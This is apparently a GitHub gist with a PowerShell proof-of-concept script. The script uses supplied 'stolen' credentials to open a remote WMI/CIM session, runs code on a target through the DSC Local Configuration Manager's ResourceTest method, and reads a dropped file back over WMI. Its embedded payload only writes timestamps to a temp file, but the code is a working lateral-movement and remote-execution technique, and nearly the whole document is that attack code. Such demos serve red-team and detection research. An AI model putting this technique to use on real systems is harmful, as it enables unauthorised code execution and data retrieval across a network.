-
-
Save mattifestation/89bfacc2435bd9d2f82a8205ea984d1d to your computer and use it in GitHub Desktop.
Demo showing DSC being used for lateral movement over WMI in addition to using WMI for remote file retrieval
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Specify the credentials of your target | |
$Credential = Get-Credential -Credential TestUser | |
$ComputerName = 'TestTarget' | |
# Change this to false if you want to test the payload locally | |
$ExecuteRemotely = $True | |
Write-Warning 'Step 1: Converting the MOF payload to a byte array' | |
Start-Sleep -Seconds 3 | |
$MOFContents = @' | |
instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref | |
{ | |
ResourceID = "[Script]ScriptExample"; | |
GetScript = "\"$(Get-Date): I am being GET\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True"; | |
TestScript = "\"$(Get-Date): I am being TESTED\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True"; | |
SetScript = "\"$(Get-Date): I am being SET\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True"; | |
SourceInfo = "::3::5::Script"; | |
ModuleName = "PsDesiredStateConfiguration"; | |
ModuleVersion = "1.0"; | |
ConfigurationName = "ScriptTest"; | |
}; | |
instance of OMI_ConfigurationDocument | |
{ | |
Version="2.0.0"; | |
MinimumCompatibleVersion = "1.0.0"; | |
CompatibleVersionAdditionalProperties= {"Omi_BaseResource:ConfigurationName"}; | |
Author="TestUser"; | |
GenerationDate="02/26/2018 07:09:21"; | |
GenerationHost="TestHost"; | |
Name="ScriptTest"; | |
}; | |
'@ | |
$NormalizedMOFContents = [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents)) | |
$NormalizedMOFBytes = [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents) | |
$TotalSize = [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4) | |
if ($ExecuteRemotely) { | |
# Prepend the length of the payload | |
[Byte[]] $MOFBytes = $TotalSize + $NormalizedMOFBytes | |
} else { | |
# If executing locally, you do not prepend the payload length | |
[Byte[]] $MOFBytes = $NormalizedMOFBytes | |
} | |
Write-Warning 'Step 2: Establish a remote CIM/WMI session with the target using the "stolen" credentials' | |
Start-Sleep -Seconds 3 | |
# Establish a remote WMI session with the target system | |
$RemoteCIMSession = New-CimSession -ComputerName $ComputerName -Credential $Credential -Authentication Negotiate | |
Write-Warning 'Step 3: Invoke the script resource on the target system' | |
Start-Sleep -Seconds 3 | |
$LCMClass = Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration -ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSession | |
if ($LCMClass -and $LCMClass.CimClassMethods['ResourceTest']) { | |
# You may now proceed with lateral movement | |
$MethodArgs = @{ | |
ModuleName = 'PSDesiredStateConfiguration' | |
ResourceType = 'MSFT_ScriptResource' | |
resourceProperty = $MOFBytes | |
} | |
$Arguments = @{ | |
Namespace = 'root/Microsoft/Windows/DesiredStateConfiguration' | |
ClassName = 'MSFT_DSCLocalConfigurationManager' | |
MethodName = 'ResourceTest' | |
Arguments = $MethodArgs | |
CimSession = $RemoteCIMSession | |
} | |
# Invoke the DSC script resource Test method | |
# Sucessful execution will be indicated by "InDesiredState" returning True and ReturnValue returning 0. | |
Invoke-CimMethod @Arguments | |
} else { | |
Write-Warning 'The DSC lateral movement method is not avilable on the remote system.' | |
} | |
Write-Warning 'Step 4: Use WMI to remotely retrieve the file that was dropped.' | |
Start-Sleep -Seconds 3 | |
# The file that was dropped on the remote target. | |
# We're going to remotely retrieve its contents using just WMI using the existing CIM session. | |
$FilePath = 'C:\Windows\Temp\scriptrun.txt' | |
# PS_ModuleFile only implements GetInstance (versus EnumerateInstance) so this trick below will force a "Get" operation versus the default "Enumerate" operation. | |
$PSModuleFileClass = Get-CimClass -Namespace ROOT/Microsoft/Windows/Powershellv3 -ClassName PS_ModuleFile -CimSession $RemoteCIMSession | |
$InMemoryModuleFileInstance = New-CimInstance -CimClass $PSModuleFileClass -Property @{ InstanceID= $FilePath } -ClientOnly | |
$FileContents = Get-CimInstance -InputObject $InMemoryModuleFileInstance -CimSession $RemoteCIMSession | |
$FileLengthBytes = $FileContents.FileData[0..3] | |
[Array]::Reverse($FileLengthBytes) | |
$FileLength = [BitConverter]::ToUInt32($FileLengthBytes, 0) | |
$FileBytes = $FileContents.FileData[4..($FileLength - 1)] | |
# Print the contents of the file! | |
[Text.Encoding]::Unicode.GetString($FileBytes) | |
Write-Warning 'Step 5: Profit!' | |
Start-Sleep -Seconds 3 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment